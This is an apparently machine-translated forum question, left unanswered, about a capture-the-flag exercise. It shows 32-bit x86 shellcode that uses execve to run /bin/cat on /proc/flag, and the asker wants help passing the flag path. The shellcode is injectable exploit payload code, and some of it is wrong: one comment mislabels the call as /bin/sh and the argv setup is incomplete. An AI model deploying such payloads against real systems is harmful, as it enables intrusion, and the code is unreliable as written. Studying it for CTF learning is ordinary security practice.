如何通过此shellcode在目录/ pro / flag中获取我的标志

时间:2017-09-25 01:51:38

标签: security shellcode

这是一个shellcode。在目录proc获取标志的目的。但实际上指针只指向/ bin / cat,我希望它指向proc / flag

#include

#define STRING  "/bin/catN/proc/flag"
#define STRLEN1   8
#define STRLEN2   19

#define ARGV  (STRLEN1+1)
#define ENVP    (ARGV+4)

.globl main
.type  main, @function

main:
  jmp     calladdr

popladdr:
  popl    %esi                    /* esi points to STRING */
  movl    %esi,(ARGV)(%esi)       /* set up argv pointer to pathname */
  xorl    %eax,%eax               /* get a 32-bit zero value */
  movb    %al,(STRLEN1)(%esi)      /* null-terminate our string */
  movl    %eax,(ENVP)(%esi)       /* set up null envp */

  movb    $SYS_execve,%al         /* syscall number */
  movl    %esi,%ebx               /* arg 1: string pathname */
  leal    ARGV(%esi),%ecx         /* arg 2: argv */
  leal    ENVP(%esi),%edx         /* arg 3: envp */
  int     $0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], NULL) */

  xorl    %ebx,%ebx               /* arg 1: 0 */
  movl    %ebx,%eax
  inc     %eax                    /* exit(0) */
  /* mov+inc to avoid null byte */
  int     $0x80                   /* invoke syscall */

calladdr:
  call    popladdr
  .string STRING

我希望通过此shellcode将我的标志放在/ proc / flag中。所以这里的任何人都可以告诉我,如何将指针从bin / cat更改为pro / flag。

0 个答案:

没有答案